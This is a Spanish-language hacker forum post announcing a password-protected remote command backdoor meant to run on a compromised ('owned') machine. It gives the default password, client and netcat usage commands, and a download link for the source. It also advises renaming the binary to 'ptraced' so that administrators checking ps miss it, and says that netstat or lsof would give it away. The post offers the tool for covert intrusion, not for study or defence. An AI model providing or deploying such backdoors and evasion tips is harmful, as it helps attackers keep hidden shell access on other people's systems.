que tal?
Bueno, pues aki pincho un nuevo programa, no tan nuevo en si ya que se trata de una variante de
uno que expuse anteriormente.
Este se trata de igual manera de un programa cliente-servidor:
el server se dejaria korriendo en la makina owneada o kon user en activo ( mirad que solo r00t puede
bindear en puertos < 1024! ).
El cliente, pues logicamente en nuestra makina; el que se conectaria kon el server tras introducir los
argumentos debidos en la linea de comandos.
La novedad en este es que.. es password protected. O sea, kon el anterior, si poniamos el server a la
escucha en la makina owneada o kon user en activo, cualkiera que pudiera hacerle un barrido de puertos
y tras ello, "netcateado" al puerto en el que nuestro server escuchaba, podia ejecutar komandos y ver sus
resultados igualmente.
El kaso es que kon esta nueva version, si alguien "netcatea" al puerto del server, tendra que tipear
primero nuestra password o, de lo kontrario, no vera ningun resultado.
La password la debeis kambiar vosotros, pero la que tengo por defecto es "putoamo".
Un ejemplo de uso: ( el simbolo "$" es parte del prompt!! )
$ ./server2 80 // dejamos korriendo en la makina objetivo el server. puerto 80 es < 1024!
$ ./sock_Mazinger3 putoamo localhost 80 ls -l // desde nuestra makina
El kaso es que, por kada nuevo komando que keramos realizar, debemos ejecutar todo el comando
de nuevo con el cliente desde nuestra makina! :_)
O sea, para ejecutar ahora un id -un por ejemplo tendriamos que hacer de nuevo:
$ ./sock_Mazinger3 putoamo localhost 80 id -un // otro comando
Igual que anteriormente, os digo que CORRE DE LA PARTE DEL que KIERA usar el programa el
kitar las salidas por consola. Es decir, si no kitais los printfs() pues seria un poko kantoso el tema, no?
editad los sources y cambiad lo que veais.
No es gran cosa, pero lo importante es aportar, no?
No escondo el proceso, por lo que si el admin del servidor elabora un:
$ ps -ef # por ejemplo
podra percatarse de que hay un programa corriendo komo: server2 80
por ello, compiladlo komo ( por ejemplo ):
$ gcc -o ptraced server2.c
Tambien, si el admin hace un:
$ netstat -an | grep LISTEN # por ejemplo
o
$ lsof -i
estariamos en problemas.
Bueno, me las piro que mi mae me esta chillando pa ir al dentista.
Cualkier duda me la deciis.
Bye.
Sources:
www.geocities.com/shirleylla/PassProtec.tar.gz Descompresion:
$ tar -zxvf PassProtec.tar.gz
Suerte.
##################### MODIFIKO #######################
Ya llegue de la visita al dentista..
El argumento del cliente ( sock_Mazinger3 ) expuesto anteriormente "localhost" es UN EJEMPLO.
Por supuesto que ahi iria la direccion del server, y no localhost!
Tambien decir que, si no keremos usar sock_Mazinger3 komo cliente, ahora si podriamos usar
netcat como cliente, asi: ( desde nuestra makina al server )
$ nc IP_del_server 80
> putoamo
> ls -l
El ">" no os procupeis, es una simple emulcacion de PS2!!
# EOF